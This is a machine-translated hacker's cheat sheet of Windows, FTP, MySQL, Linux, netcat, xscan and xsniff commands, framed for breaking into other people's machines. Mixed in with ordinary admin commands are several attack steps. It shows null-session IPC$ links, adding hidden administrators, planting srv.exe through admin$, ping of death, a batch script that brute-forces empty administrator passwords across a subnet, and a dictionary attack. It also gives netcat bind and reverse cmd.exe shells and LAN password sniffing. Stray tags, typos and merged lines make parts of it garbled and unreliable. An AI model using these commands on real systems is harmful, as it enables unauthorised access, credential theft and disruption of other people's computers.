net use \\ip\ipc$ " " /user:" " Establish IPC empty link
net use \\ip\ipc$ "Password" /user:"Username " Establish IPC non-empty link
net use h: \\ip\c$ "password" /user:"username" After logging in directly, map the other party's C: to the local H:
< p>net use h: \\ip\c$ After logging in, map the other party C: to the local H:net use \\ip\ipc$ /del delete the IPC link
net use h: /del deletes the mapping of H: from the other party to the local one
net user username and password/add creates a user
net user guest /active:yes activates the guest user
net user View which users
net user account name View account properties
net localgroup administrators username/add Add "user" to the administrator In it, it has administrator rights. Note: Add s after administrator to use plural form
net start Check which services are enabled
net start service name starts the service; (for example: net start telnet , net start schedule)
net stop service name to stop a service
net time \\target ip check the other party's time
net time \\target ip /set Set the local computer time to be synchronized with the time of the "target IP" host, and add the parameter /yes to cancel the confirmation message
net view to see which *** shares are enabled in the local LAN
net view \\ip View which VPN shares are enabled in the other party's LAN
net config displays system network settings
net logoff disconnects VPN shares
net pause service name to pause a service
net send ip "text message" to send information to the other party
net ver network connection type and information being used in the LAN
net share View locally enabled *** shares
net share ipc$ Enable ipc$*** shares
net share ipc$ /del Delete ipc$** *share
net share c$ /del Delete C: ***share
net user guest 12345 After logging in as guest user, change the password to 12345
net password Password change system login password
netstat -a Check which ports are open, commonly used netstat -an
netstat -n Check the network connection status of the port, commonly used netstat -an < /p>
netstat -v View ongoing work
netstat -p protocol name example: netstat -p tcq/ip View the usage of a certain protocol (check the usage of tcp/ip protocol)
netstat -s View the usage of all protocols in use
nbtstat -A ip If one of the other party's ports 136 to 139 is open, you can view the user name of the other party's recent login (before 03 is the user name) - Note: Parameter -A must be capitalized
tracert - Parameter ip (or computer name) trace route (packet), parameter: "-w number" is used to set the timeout interval.
Ping ip (or domain name) sends data with a default size of 32 bytes to the other host. Parameters: "-l [space] packet size"; "-n number of times to send data"; "-t "refers to pinging all the time.
ping -t -l 65550 ip ping of death (sending files larger than 64K and pinging all the time becomes the ping of death)
ipconfig (winipcfg) for windows NT and XP (Windows 95 98) To view the local IP address, ipconfig can use the parameter "/all" to display all configuration information
tlist -t displays processes in a tree line list (it is an additional tool for the system and is not installed by default. In the Support/tools folder of the installation directory)
kill -F Add the -F parameter to the process name to force the end of a process (it is an additional tool for the system, which is not installed by default. In the Support of the installation directory /tools folder)
Add the -F parameter to the del -F file name to delete the read-only file. /AR, /AH, /AS, and /AA represent deletion of read-only, hidden, and system files respectively. , archive files, /A-R, /A-H, /A-S, /A-A means to delete files other than read-only, hidden, system, and archive files. For example, "DEL/AR *.*" means to delete all read-only files in the current directory, and "DEL/A-S *.*" means to delete all files in the current directory except system files
#2 2:
del /S /Q directory or use: rmdir /s /Q directory /S to delete the directory and all subdirectories and files under the directory. At the same time, use the parameter /Q to cancel the deletion operation and delete it directly after the system confirms it. (The two commands have the same effect)
move drive letter\path\name of the file to be moved, path where the moved file is stored\filename after move, use the parameter /y to cancel confirmation that the same file exists in the moved directory Directly overwrite the prompts
fc one.txt two.txt > 3st.txt. Compare the two files and output the differences to the 3st.txt file. "> " and "> >" are duplicates. Directed command
at id number starts a registered scheduled task
at /delete stops all scheduled tasks. Use the parameter /yes to stop directly without confirmation
at id number/delete Stop a registered scheduled task
at View all scheduled tasks
at \\ip time program name (or a command) /r Run a certain program on the other side at a certain time and restart the computer
finger username @host to see which users have logged in recently
telnet ip port remote and login server, the default port is 23
open ip connects to IP (a command after telnet login)
telnet Type telnet directly on the local machine to enter the local telnet
copy path\file name 1 path\file name 2 /y Copy file 1 to the specified directory as file 2. Use the parameter /y to cancel confirmation that you want to overwrite an existing directory file
copy c:\srv.exe \ \ip\admin$ Copy local c:\srv.exe to the other party's admin
cppy 1st.jpg/b+2st.txt/a 3st.jpg Hide the content of 2st.txt to 1st. Generate a new file 3st.jpg in jpg. Note: The 2st.txt file header should have three empty rows. Parameters: /b refers to the binary file, /a refers to the ASCLL format file
copy \\ip\admin$ \svv.exe c:\ or:copy\\ip\admin$\*.* Copy the srv.exe files (all files) shared by the other party's admini$*** to local C:
xcopy The target address of the file or directory tree to be copied\directory name to copy the file and directory tree, use the parameter /Y to overwrite the same file without prompting
tftp -i own IP (this is used when using the meat machine as a springboard) Machine IP) get server.exe c:\server.exe After logging in, download the server.exe of "IP" to the target host c:\server.exe Parameter: -i means to transfer in binary mode, such as when transferring exe files. , if -i is not added, the transmission will be in ASCII mode (text file transmission mode)
tftp -i The other party's IP put c:\server.exe After logging in, upload the local c:\server.exe to the host
The ftp ip port is used to upload files to the server or perform file operations. The default port is 21.
bin refers to transmission in binary mode (executable file input); the default is ASCII format transmission (text file)
route print displays the IP route, which will mainly display the network address Network addres and the subnet mask Netmask. , gateway address Gateway addres, interface address Interface
arp View and process the ARP cache. ARP means name resolution and is responsible for parsing an IP into a physical MAC address. arp -a will display all information
start program name or command /max or /min to open a new window and maximize (minimize) run a program or command
mem View cpu usage
attrib file name (directory name) View the attributes of a file (directory)
attrib file name-A -R -S -H or +A +R + S +H removes (adds) the archive, read-only, system, and hidden attributes of a certain file; use + to add it as a certain attribute
dir View files, parameters: /Q displays which system the files and directories belong to User, /T:C displays the file creation time, /T:A displays the last time the file was accessed, /T:W last modified time
date /t, time /t use this parameter. "DATE/T", "TIME/T" will only display the current date and time without having to enter a new date and time
set Specify the environment variable name = the character to be assigned to the variable Set the environment variable
p>set displays all current environment variables
set p (or other characters) displays all current environment variables starting with character p (or other characters)
pause Pause the batch program and display: Please press any key to continue....
if performs conditional processing in the batch program (see if command and variables for more instructions)
The goto label directs cmd.exe to the labeled line in the batch program (the label must be a separate line and preceded by a colon, for example: ":start" label)
call path\batch file name Call another batch program from within a batch program (see call /? for more instructions)
for Execute a specific command on each file in a set of files (see the for command and Variable)
echo on or off turns echo on or off. Using echo only without parameters will display the current echo settings
echo information will be displayed on the screen
echo information>> pass.txt Save "information" to the pass.txt file
findstr "Hello" aa.txt Find the string hello in the aa.txt file
find file name to find a file
title title name changes the CMD window title name
color color value sets the foreground and background color of the cmd console; 0=black, 1=blue, 2= Green, 3=light green, 4=red, 5=purple, 6=yellow, 7=white, 8=grey, 9=light blue, A=light green, B=light green, C=light red, D= Light purple, E=light yellow, F=bright white
prompt name changes the command prompt displayed by cmd.exe (change C:\, D:\ to: EntSky\)
#3 Three:
ver displays version information in the DOS window
winver pops up a window to display version information (memory size, system version, patch version, computer name)
format drive letter/FS: type format disk, type: FAT, FAT32, NTFS, example: Format D: /FS:NTFS
md directory name to create directory
replace the source file to replace the file directory replacement file
ren the original file name new file name rename the file name
tree displays the directory in a tree structure, use the parameter - f will list the file names in the folder
type file name displays the contents of the text file
more file name displays the output file screen by screen
doskey To Locked command = character
doskey command to unlock = lock command provided for DOS (edit command line, re-invoke win2k command, and create macro).
For example: lock dir command: doskey dir=entsky (cannot use doskey dir=dir); unlock: doskey dir=
taskmgr brings up the task manager
chkdsk /F D: Check the disk D and display the status report; add parameter /f and fix the error on the disk
tlntadmn telnt service admn, type tlntadmn and select 3, then select 8, you can change the telnet service default port 23 to any other port< /p>
exit exits the cmd.exe program or the current one. Use parameter /B to exit the current batch script instead of cmd.exe
path path\executable file name is executable File sets a path.
cmd starts a win2K command interpretation window. Parameters: /eff, /en turn off and turn on command expansion; for more detailed instructions, see cmd /?
regedit /s The registry file name is imported into the registry; the parameter /S refers to quiet mode import, without any prompts ;
regedit /e Registry file name exports the registry
The cacls file name parameter displays or modifies the file access control list (ACL) - for NTFS format. Parameters: /D username: set to deny access to a certain user; /P username: perm replaces the access rights of the specified user; /G username: perm grants access rights to the specified user; Perm can be: N none, R read, W writes, C changes (writes), F fully controls; for example: cacls D:\test.txt /D pub sets d:\test.txt to deny pub user access.
cacls file name to view the file access user permission list
REM text content to add comments in the batch file
netsh to view or change the local network configuration< /p>
#4 Four:
IIS service command:
iisreset /reboot Restart the win2k computer (but a message prompting the system to restart appears)
iisreset /start or stop starts (stops) all Internet services
iisreset /restart stops and restarts all Internet services
iisreset /status displays the status of all Internet services
< p>iisreset /enable or disable Enable (disable) the restart of the Internet service on the local systemiisreset /rebootonerror When starting, stopping or restarting the Internet service, if an error occurs
>iisreset /noforce If the Internet service cannot be stopped, the Internet service will not be forcibly terminated
iisreset /timeout Val has not stopped the Internet service when the exceeded time (seconds) is reached. If /rebootonerror is specified parameters, the computer will reboot. The default value is 20 seconds for restart, 60 seconds for stop, and 0 seconds for restart.
FTP command: (details are explained later)
The command line format of ftp is:
ftp -v -d -i -n -g[ hostname] -v displays all response information from the remote server.
-d uses debugging mode.
-n restricts the automatic login of ftp, that is, does not use the .netrc file.
-g Cancel the global file name.
help [command] or ? [Command] View the command description
bye or quit terminates the host FTP process and exits the FTP management mode.
pwd lists the current remote host directory
put Or send local file name [file name uploaded to the host] to transfer a local file to the remote host
get or recv [remote host file name] [file name downloaded to the local] from Transfer a batch of files from the remote host to the local host
mget [remote-files] Receive a batch of files from the remote host to the local host
mput local-files Transfer a batch of files to the local host Transfer files to the remote host
dir or ls [remote-directory] [local-file] lists the files in the current remote host directory. If there are local files, write the results to the local file< /p>
ascii Set to send files in ASCII mode (default value)
bin or image Set to send files in binary mode
bell Each time a file transfer is completed, Alarm prompt
cdup returns to the previous directory
close interrupts the ftp session with the remote server (corresponding to open)
open host[port] establishes the specified ftp Server connection, you can specify the connection port
delete deletes files in the remote host
mdelete [remote-files] deletes a batch of files
mkdir directory-name Create a directory on the remote host
rename [from] [to] Change the file name on the remote host
rmdir directory-name Delete the directory on the remote host
status displays the current FTP status
system displays the remote host system type
user user-name [password] [account] Re-login to the remote host with another user name host
open host [port] re-establish a new connection
prompt interactive prompt mode
macdef define macro command
lcd change The current working directory of the local host. If default, go to the current user's HOME directory
chmod changes the file permissions of the remote host
case When it is ON, use the MGET command Copy the file names to the local machine and convert them all to lowercase letters
cd remote-dir enters the remote host directory
cdup enters the parent directory of the remote host directory
! Execute an interactive shell on the local machine, exit and return to the ftp environment, such as!ls*.zip
#5 Five:
MYSQL command:
mysql -h host address -u username -p password to connect to MYSQL; if MYSQL has just been installed, the super user root does not have a password.
(Example: mysql -h110.110.110.110 -Uroot -P123456
Note: u and root do not need to add spaces, the same applies to others)
exit Exit MYSQL
mysqladmin -u username -p old password password new password change password
grant select on database.* to username@login host identified by \"password\"; Add new users. (Note: Unlike the above, the following are commands in the MYSQL environment, so they are followed by a semicolon as the command terminator)
show databases; Display the database list. At the beginning, there were only two databases: mysql and test. The mysql library is very important. It contains MYSQL system information. When we change passwords and add new users, we actually use this library for operations.
use mysql;
show tables; display the data tables in the library
describe table name; display the structure of the data table
create database database name; create database
use database name;
create table table name (field setting list); create table
drop database database name; < /p>
drop table table name; delete database and table
delete from table name; clear the records in the table
select * from table name; display the data in the table Record
mysqldump --opt school>school.bbb Backup database: (The command is executed in the \\mysql\\bin directory of DOS); Note: Back up the database school to the school.bbb file, school. bbb is a text file. You can choose any file name. Open it and see if you can find something new.
New commands under win2003 system (practical part):
shutdown /parameter Shut down or restart the local or remote host.
Parameter description: /S shuts down the host, /R restarts the host, /T digitally sets the delay time, ranging from 0 to 180 seconds, /A cancels booting, /M //IP specified remote host.
Example: shutdown /r /t 0 Restart the local host immediately (no delay)
taskill /parameter process name or pid of the process Terminate one or more tasks and processes.
Parameter description: /PID is the pid of the process to be terminated. You can use the tasklist command to obtain the pid of each process, /IM is the process name of the process to be terminated, /F is to forcefully terminate the process, /T is to terminate the specified process and The child process he started.
tasklist displays the process identifiers (PIDs) of processes, services, and service processes currently running on local and remote hosts.
Parameter description: /M lists the dll files loaded by the current process, /SVC displays the services corresponding to each process, if there is no parameter, only the current process is listed.
#6 Six:
Basic commands under Linux system: case sensitive
uname displays version information (same as win2K ver)
< p>dir displays files in the current directory, ls -al displays hidden files (same as dir in win2K)pwd queries the current directory location
cd cd ..return to the previous page Layer directory, note that there is a space between cd and ... cd /return to the root directory.
cat file name View file content
cat >abc.txt Write the content into the abc.txt file.
more filename Displays a text file page by page.
cp copies files
mv moves files
rm file name deletes files, rm -a directory name deletes directories and subdirectories
mkdir directory name creates a directory
rmdir deletes a subdirectory and there are no documents in the directory.
chmod sets the access permissions of files or directories
grep searches for strings in files
diff file comparison
find File search
date Current date and time
who Query the people currently using the same machine as you and the login time and location
w Query the current users Detailed information
whoami View your account name
groups View someone's Group
passwd Change password
history View your own Commands passed
ps displays process status
kill stops a process
gcc Hackers usually use it to compile files written in C language
Su permissions are converted to designated users
telnet IP telnet connects to the other host (same as win2K). When bash$ appears, the connection is successful.
ftp ftp connects to a server (same as win2K)
Attachment: batch commands and variables
1: Basic format of for command and variables:
FOR /parameter%variable IN (set) DO command [command_parameters] %variable: Specify a single-letter replaceable parameter, such as: %i, and specify a variable with: %%i, and when calling a variable Use: %i%, variables are case-sensitive (%i is not equal to %I).
Batch processing can process from %0 to %9***10 variables each time, of which %0 defaults to the batch file name, and %1 defaults to the one entered when using this batch. The first value, in the same way: %2-%9 refers to the 2-9th value entered; for example: net use \\ip\ipc$ pass /user:user where ip is %1, pass is %2, user For %3
(set): Specify one or a group of files, you can use wildcards, such as: (D:\user.txt) and (1 1 254) (1 -1 254), { " (1 1 254)" The first "1" refers to the starting value, the second "1" refers to the increase, and the third "254" refers to the end value, that is: from 1 to 254; "(1 -1 254 )" description: from 254 to 1 }
command: Specify the command to be executed on the file, such as: net use command; if you want to execute multiple commands, add: & to separate the commands. Open
command_parameters: Specify parameters or command line switches for specific commands
IN (set): refers to taking the value in (set); DO command: refers to executing command
Parameters: /L means to use incremental form {when (set) is in incremental form}; /F means to continuously get values ??from the file until it is finished {when (set) is a file, such as (d:\ pass.txt)}.
Usage example:
@echo off
echo usage format: test.bat *.*.* > test.txt
for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find "Command completed successfully" >>test .txt
Save as test.bat Description: Try to establish an IPC$ connection with an empty administrator password for the 254 IPs in a specified class C network segment. If successful, save the IP in test.txt middle.
/L refers to the incremental form (i.e. from 1-254 or 254-1); the first three digits of the input IP: *.*.* is the default %1 for batch processing; %%G is Variable (the last digit of ip); & is used to separate the two commands echo and net use; | means that after creating ipc$, use find in the results to see if there is a "command successfully completed" message; %1.% %G is the complete IP address; (1 1 254) refers to the starting value, growth amount, and ending value.
@echo off
echo usage format: ok.bat ip
FOR /F %%i IN (D:\user.dic) DO smb. exe %1 %%i D:\pass.dic 200
Save as: ok.exe Description: After entering an IP, use the dictionary file d:\pass.dic to decrypt d:\user. The user password in dic until the value in the file is exhausted. %%i is the user name; %1 is the entered IP address (default).
#7 Seven:
2: Basic format of if command and variables:
IF [not] errorlevel numeric command statement If the program runs and finally returns a value equal to or Exit code greater than the specified number and the specified condition is "true".
Example: IF errorlevel 0 command means that when the value returned after program execution is 0, the command after the line will be executed; IF not errorlevel 1 command means that the value returned after program execution is not equal to 1, then the following command will be executed. command.
0 means it was discovered and executed successfully (true); 1 means it was not discovered and executed (false).
IF [not] String 1==String 2 Command statement If the specified text string matches (that is: String 1 is equal to String 2), the following command will be executed.
Example: "if "%2%"=="4" goto start" means: if the second variable entered is 4, execute the following command (note: when calling a variable, use % variable name% and add " ")
IF [not] exist file name command statement If the specified file name exists, the following command will be executed.
Example: "if not nc.exe goto end" means: if the nc.exe file is not found, jump to the ":end" tag.
IF [not] errorlevel numeric command statement else command statement or IF [not] string 1==string 2 command statement else command statement or IF [not] exist file name command statement else command statement plus Above: After the else command statement, it refers to: when the previous condition is not true, it refers to the command after else. Note: else must be on the same line as if to be valid.
When there is a del command, the entire content of the del command must be enclosed in < >, because the del command can only be executed on a separate line. After using < >, it is equivalent to a separate line; for example: "if exist test.txt. else echo test.txt.missing”, pay attention to the “.” in the command
(2) System external commands (both require downloading relevant tools):
1 , Swiss Army Knife: nc.exe
Parameter description:
-h View help information
-d Background mode
-e prog Program redirection, executed as soon as the connection is made [dangerous]
-i secs delay interval
-l listening mode, used for inbound connections
-L monitoring mode, continue to monitor after the connection is closed, until CTR+C
-n IP address, domain name cannot be used
-o film records hexadecimal transmission
p>
-p[space]Port local port number
-r Random local and remote port
-t Use Telnet interaction mode
-u UDP mode
-v detailed output, use -vv to be more detailed
-w digital timeout delay interval
-z turns off input and output ( When used to sweep anchors)
Basic usage:
nc -nvv 192.168.0.1 80 Connect to port 80 of the 192.168.0.1 host
nc -l - p 80 Open the local TCP port 80 and listen
nc -nvv -w2 -z 192.168.0.1 80-1024 Sweep the 80-1024 ports of 192.168.0.1
nc - l -p 5354 -t -e c:winntsystem32cmd.exe Binds the cmdshell of the remote host to the remote TCP 5354 port
nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 Binds the cmdshell of the remote host And reversely connect to port 5354 of 192.168.0.2
Advanced usage:
nc -L -p 80 Use 1 as a honeypot: open and listen to port 80 continuously until CTR +C until nc -L -p 80 > c:\log.txt Use 2 as a honeypot: open and continuously monitor port 80 until CTR+C, and output the results to c: \log.txt
nc -L -p 80 < c:\honeyport.txt Use 3-1 as a honeypot: open and listen to port 80 continuously until CTR+C, and put c: The content in \honeyport.txt is sent to the pipeline and can also be used to transfer files
type.exe c:\honeyport | nc -L -p 80 Use 3-2 as a honeypot: Opening does not Monitor port 80 continuously until CTR+C, and send the content in c:\honeyport.txt into the pipe, which can also be used to transfer files
Use on this machine: nc -l -p Local port
Use on the other party's host: nc -e cmd.exe Local IP -p Local port *win2K
nc -e /bin/sh Local IP - p local port *linux, unix reverse connection to break through the firewall of the other host
Use on the local machine: nc -d -l -p local port Use on the other party's host: nc -vv local IP local port> the path and name of the file to transfer the file to the other party's host Remarks: | Pipe command< /p> < or > redirect command. "<", for example: tlntadmn < test.txt means to assign the content of test.txt to the tlntadmn command ＠ means to execute the command after @, but it will not be displayed (background execution); for example: @ dir c:\winnt >> d:\log.txt means: execute dir in the background and store the result in d:\log.txt >The difference between >>">" means: overwrite ; ">>" means: save to (add to). For example: @dir c:\winnt >> d:\log.txt and @dir c:\winnt > d:\log.txt execute two commands respectively to compare: use >> The result of the second time is saved, but the result of :> is only the result of the first time, because the result of the second time overwrites the result of the first time. #8 Eight: 2. Anchor scanning tool: xscan.exe Basic format xscan -host xscan -file Detection items -active Check whether the host is alive -os Detect the remote operating system type (via NETBIOS and SNMP protocols) -port Detect the port status of commonly used services -ftp Detect FTP weak passwords -pub Detect FTP service anonymous user write permission -pop3 Detect POP3-Server weak passwords -smtp Detect SMTP-Server vulnerabilities -sql Detect SQL-Server weak passwords -smb detects NT-Server weak passwords -iis detects IIS encoding/decoding vulnerabilities -cgi detects CGI vulnerabilities - nasl Load Nessus attack script -all Detect all the above items Other options -i adapter number to set the network adapter, -l Display all network adapters -v Display detailed scan progress -p Skip unresponsive hosts
-t The number of concurrent threads, the number of concurrent hosts specifies the maximum number of concurrent threads and the number of concurrent hosts, the default number is 100,10
< p>-log file name specifies the scan report file name (suffix: TXT or HTML format file)Usage example
xscan -host 192.168.1.1-192.168.255.255 -all -active -p detects all vulnerabilities of hosts in the 192.168.1.1-192.168.255.255 network segment and skips unresponsive hosts
xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o Detects the standard port status of hosts in the 192.168.1.1-192.168.255.255 network segment. For NT weak password users, the maximum number of concurrent threads is 150, skipping hosts with no open ports detected
xscan -file hostlist.txt -port -cgi -t 200,5 -v -o Detects the standard port status and CGI vulnerabilities of all hosts listed in the "hostlist.txt" file. The maximum number of concurrent threads is 200, and a maximum of 5 machines can be detected at the same time. Host, display detailed detection progress, skip hosts with no open ports detected
#9 Nine:
3. Command line sniffer: xsniff.exe
Can capture FTP/SMTP/POP3/HTTP protocol passwords in the LAN
Parameter description
-tcp outputs TCP datagrams
-udp outputs UDP data report
-icmp output ICMP datagram
-pass filter password information
-hide run in the background
-host resolve host name< /p>
-addr IP address filter IP address
-port port filter port
-log filename Save output to file
-asc to Output in ASCII format
-hex Output in hexadecimal format
Usage example
xsniff.exe -pass -hide -log pass.log Run sniffing in the background Password and save password information in pass.log file
xsniff.exe -tcp -udp -asc -addr 192.168.1.1 Sniff 192.168.1.1 and filter tcp and udp information and output in ASCII format< /p>